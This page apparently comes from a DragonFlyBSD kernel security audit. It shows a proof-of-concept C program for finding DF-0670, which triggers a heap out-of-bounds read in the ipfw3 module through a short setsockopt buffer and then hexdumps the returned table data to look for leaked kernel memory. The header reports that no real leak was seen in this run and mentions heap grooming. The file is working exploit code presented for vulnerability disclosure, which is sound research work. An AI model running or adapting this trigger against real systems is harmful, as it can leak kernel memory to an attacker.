DragonFlyBSD Kernel Audit
DF-0670 / df0670_ipfw3_oob.c
← back to finding ↓ download raw
/*
 * DF-0670 PoC — ipfw3 missing sopt_valsize validation -> heap OOB read.
 *
 * Source-level bug CONFIRMED; the OOB read code path IS executed
 * (setsockopt returns 0). However, on this guest's slab state the
 * leaked bytes are zero — no actual info leak observed in this PoC run.
 * See VERDICT.md.
 *
 * Build: cc -O -pipe -o df0670_ipfw3_oob df0670_ipfw3_oob.c
 * Run (root only, after `kldload ipfw3; kldload ipfw3_basic`):
 *   ./df0670_ipfw3_oob
 *
 * Threat model: PR:H (SOCK_RAW requires root). The leak would be
 * practical with heap grooming to populate adjacent slab chunks with
 * kernel pointers, but on this guest KASLR is already OFF so the
 * ceiling is reduced.
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define IP_FW_X            49
#define IP_FW_TABLE_CREATE 73
#define IP_FW_TABLE_LIST   77
#define IPFW_TABLES_MAX    32
#define IPFW_TABLE_NAME_LEN 32

struct ip_fw_x_header { uint16_t opcode; uint16_t _pad; };
struct ipfw_ioc_table { int id; int type; int count; char name[IPFW_TABLE_NAME_LEN]; };

static void hexdump(const char *pfx, const void *data, size_t n)
{
    const unsigned char *p = data;
    size_t i;
    printf("%s (%zu bytes):\n", pfx, n);
    for (i = 0; i < n; i++) {
        if ((i & 15) == 0) printf("  %04zx: ", i);
        printf("%02x ", p[i]);
        if ((i & 15) == 15) printf("\n");
    }
    if ((i & 15) != 0) printf("\n");
    fflush(stdout);
}

int do_create(int s, int valsize_extra)
{
    int total = 4 + valsize_extra;
    unsigned char *buf = calloc(1, total);
    struct ip_fw_x_header *hdr = (struct ip_fw_x_header *)buf;
    int error;
    hdr->opcode = IP_FW_TABLE_CREATE;
    error = setsockopt(s, IPPROTO_IP, IP_FW_X, buf, total);
    free(buf);
    return error;
}

int do_list(int s, struct ipfw_ioc_table *out, int n_tables)
{
    int total = 4 + n_tables * sizeof(*out);
    unsigned char *getbuf = calloc(1, total);
    socklen_t optsize = total;
    int error;
    ((struct ip_fw_x_header *)getbuf)->opcode = IP_FW_TABLE_LIST;
    error = getsockopt(s, IPPROTO_IP, IP_FW_X, getbuf, &optsize);
    /* After ip_fw3_ctl_x's bcopy, the kernel writes the ioc_tables at
     * offset 0 of the kernel buffer; copyout returns optsize bytes
     * starting at offset 0. */
    memcpy(out, getbuf, n_tables * sizeof(*out));
    free(getbuf);
    return error;
}

int main(void)
{
    int s, error, run;
    struct ipfw_ioc_table tabs[IPFW_TABLES_MAX];

    /* IP_FW_X is only reachable via raw_ip.c rip_ctloutput -> need SOCK_RAW.
     * Creating a raw socket requires root, matching the finding's PR:H. */
    s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (s < 0) {
        perror("socket(SOCK_RAW) (DF-0670 trigger requires root)");
        return 2;
    }

    printf("[sizeof user ipfw_ioc_table = %zu]\n", sizeof(struct ipfw_ioc_table));
    printf("[DF-0670: short-buffer CREATE -> OOB read of ioc_table->type and ->name]\n\n");

    for (run = 0; run < 3; run++) {
        printf("=== RUN %d ===\n", run);
        /* valsize=4 means after x_header strip sopt_valsize=0; the kernel
         * kmalloc(4) returns an 8-byte slab chunk. table_create_dispatch
         * reads ioc_table->type at off 4 (within chunk, past user data)
         * and strlcpy(ioc_table->name, off 12..43) reads adjacent slab
         * chunks. type is a 4-byte read (NOT NUL-stopped), so it can
         * carry non-zero residue when present. */
        error = do_create(s, 0);   /* total valsize=4 */
        printf("  create(valsize=4) rc=%d errno=%d\n", error, errno);
        error = do_list(s, tabs, IPFW_TABLES_MAX);
        printf("  list rc=%d. table_ctx[0].id=%d type=0x%08x count=%d\n",
               error, tabs[0].id, (unsigned)tabs[0].type, tabs[0].count);
        hexdump("  table_ctx[0].name (32 bytes)", tabs[0].name, IPFW_TABLE_NAME_LEN);
        if (tabs[0].type != 0)
            printf("  *** LEAK: table_ctx[0].type=0x%08x non-zero ***\n",
                   (unsigned)tabs[0].type);
        printf("\n");
        fflush(stdout);
    }
    close(s);
    return 0;
}